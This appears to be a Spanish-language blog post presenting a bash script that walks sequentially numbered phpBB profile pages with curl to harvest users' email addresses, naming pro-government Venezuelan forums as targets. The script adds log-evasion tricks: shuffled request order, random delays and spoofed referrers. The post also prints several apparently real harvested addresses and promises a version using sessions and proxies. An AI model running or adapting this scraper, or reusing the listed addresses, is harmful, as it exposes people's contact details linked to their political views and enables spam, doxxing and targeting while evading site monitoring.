Desde hace un par de años me llamo la atención como se colaron a internet los correos electrónicos de miles de internautas afectos al actual gobierno venezolano. Revisando los comentarios y usando google me pude dar cuenta que la fuente podría ser alguna comunidad web (foro)
orientada específicamente a usuarios oficialistas, no veo otra forma de
asociar una dirección de correo electrónica con una tendencia política.
Para duplicar estos resultados escribí un script que permite obtener
estos emails y se adapta a cualquier comunidad que use phpBB como
software para foros. echemos un vistazo.
TEMP_URL="/tmp/spider_url.tmp"
MAX_SLEEP=1
TMP_EMAILS="/tmp/spider_emails.tmp"
CONFIG=$1 EMAIL_OUTPUT="/tmp/emails.txt"
rm -f $TEMP_URL
rm -f $TMP_EMAILS
rm -f $EMAIL_OUTPUT
for COMUNIDAD in `cat $CONFIG`
do COMUNIDAD_URL=`echo $COMUNIDAD | awk -F, '{print $1}'`
PERFILMIN=`echo $COMUNIDAD | awk -F, '{print $2}'`
PERFILMAX=`echo $COMUNIDAD | awk -F, '{print $3}'`
PERFIL=$PERFILMIN
while [ "$PERFIL" -lt "$PERFILMAX" ]
do echo "http://$COMUNIDAD_URL/profile.php?mode=viewprofile&u="$PERFIL
PERFIL=`expr $PERFIL + 1`
done
done | sort -R | grep -i [a-z] >> $TEMP_URL
for URL_DE_PERFIL in `cat $TEMP_URL`
do curl -s --referer `shuf -n1 $TEMP_URL` $URL_DE_PERFIL | grep -i "@" |\
sed -e 's/</ /g' -e 's/>/ /g' -e 's/\:/ /g' -e 's/\=/ /g' -e 's/&/ /g' |\
sed s/\"/\ /g |\ tr ' ' '\n' | \ grep "@" | sort | uniq | tr 'A-Z' 'a-z'
SEGUNDOS=$[ ( $RANDOM % $MAX_SLEEP ) + 1 ]
sleep $SEGUNDOS
done >> $TMP_EMAILS cat `echo $TMP_EMAILS` |\
grep -i -E '[a-zA-Z0-9_]*@[a-zA-Z0-9]*\.*\.(com|edu|net|org|info|ve)' | sort |\
uniq > $EMAIL_OUTPUT
El script toma información que es publica y la filtra hasta obtener una cadena que semejé una dirección de correo electrónico, como pueden ver en las siguientes imagenes el perfil de los usuarios son públicos y es predecible cual es la URL de estos perfiles ya que son numerados de forma secuencial.
Al ejecutar el script no arroja ninguna salida, tendríamos que hacer un cat a $EMAIL_OUTPUT como lo vemos aquí:
Si se fijan el el script el recibe un parámetro cuando lo ejecutamos, ese parámetro es la ruta a un archivo que va a contener la información de la URL del foro a escanear, el primer perfil a escanear y el ultimo perfil, todo separado por comas sin espacios en blanco (comunidad,minimo,maximo) el archivo se vería algo así:
www.noticierodigital.com/forum,1001,1010 aporrealos.com/forum,1000,1020
Para llegar a cual es el perfil numero del perfil del ultimo usuario registrado por demos jugar en nuestro navegador web con el parámetro u=17015 y cambiar ese numero por uno mas alto hasta que recibamos una pantalla de error del foro diciendo que ese perfil no existe.
Evitando Patrones.
Si volvemos al script que publique, pueden ver que tome algunas
medidas para evitar crear patrones el archivos de registro (log files)
alterando el orden de los perfiles y cambiando aleatoriamente el tiempo
a esperar entre visita y visita a los perfiles adicionalmente estoy
enviando un 'referrer' perteneciente a estas comunidades con cada
petición HTTP.
El producto final de este script es una lista de direcciones de correo,
una dirección por linea y luce así:
ferminmittilo@gmail.com
ivanmarcanolopez@hotmail.com
jjguillen@cantv.net
monje902@hotmail.com
psichofra@hotmail.com
linux@hacks.org
Este script no funciona con todos los foros phpBB, algunos requieren una sesión valida para acedar la pagina de los perfiles. En la segunda
parte de este script (que publicare en los próximos días) usare este
mismo script pero implementando cookies, sesiones, proxies y recurriendo
a la cache de algunos buscadores web.
UPDATE: El script corre sin problemas en el iPhone asi que se puede ejecutar desde cualquier parte que se tenga internet bien sea vía
Edge, 3G o WIFI.
Aquí una captura de pantalla y un video de el script con algunas
modificaciones después de ejecutarse: